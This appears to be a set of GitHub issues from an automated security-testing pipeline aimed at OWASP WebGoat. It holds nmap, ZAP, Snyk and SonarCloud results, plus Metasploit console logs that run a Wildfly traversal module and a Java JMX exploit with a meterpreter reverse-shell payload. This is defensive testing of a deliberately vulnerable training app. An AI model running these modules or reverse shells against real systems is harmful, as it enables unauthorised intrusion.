Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxiliary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE_FILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 742

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.224.244.252

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (11.2 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

Confidential

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:27 UTC
Nmap scan report for 4.224.244.252
Host is up (0.20s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f0:63:04:ed:f6:68:26:ed:ce:04:55:72:ac:eb:e9:54 (ECDSA)
|_ 256 59:49:73:be:ea:dc:2e:44:b7:a4:8f:8b:dc:f6:e1:69 (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
|_ http-title: Site doesn't have a title.
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Thu, 23 Nov 2023 07:30:46 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions,
SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie,
WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found

| Connection: close
| Content-Length: 0
|_ Date: Thu, 23 Nov 2023 07:30:45 GMT
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:30:45 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:30:45.823+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:31:03 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:31:03.410+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/23%Time=655EFA5%P=x86_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 23 Nov 2023 07:30:

SF:45 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 23\n

SF:x20Nov 2023 07:30:46 GMT

")%(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 23\x

SF:20Nov 2023 07:30:46 GMT

")%(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)====
SF-Port9090-TCP:V=7.92%I=7%D=11/23%Time=655EFFA5%P=x86_64-pc-linux-gnu%(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac
SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n
SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr
SF:ame-Options: DENY Date: Thu, 23 Nov 2023 07:30:45\n
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co
SF:ntent-Type-Options: nosniff Content-Type: application/json
SF: { \"timestamp\" : \"2023-11-23T07:30:45.823+00:00\n
SF:\", \"status\" : 404, \"error\" : \"Not
SF:0Found\", \"path\" : \"/\n }\"}%r(WMSRequest,42,\"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request
SF:Content-Length: 0 Connection: close
")%r(SqueezeCenter_
SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(GenericLines,42,\"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache
SF:X-Frame-Options: DENY Date: Thu, 23 Nov 2023 07:31
SF::03 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ
SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a
SF:pplication/json
{ \"timestamp\" : \"2023-11-23T07
SF::31:03.410+00:00\", \"status\" : 404, \"error
SF:\": \"Not Found\", \"path\" : \"/\n }\"}%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5467.29 ms 4.224.244.252

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 340.80 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:32 UTC

Nmap scan report for 4.224.244.252

Host is up (0.19s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:32 UTC

Nmap scan report for 4.224.244.252

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 741

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.21.1, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 30.09s  
=====
```

Stop pytests....

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 740

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (8354 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.247.138.59

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 739

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 738

GitHub Issue URL : [Here!](#)

- Site: <http://4.247.138.59:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.247.138.59:8080/WebGoat/login>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - <http://4.247.138.59:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 24:
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

- Site: <http://4.224.244.252:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6966611694

Priority High - Snyk Report

GitHub Issue number # 737

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 736

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.247.138.59

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (9910 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

Confidential

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
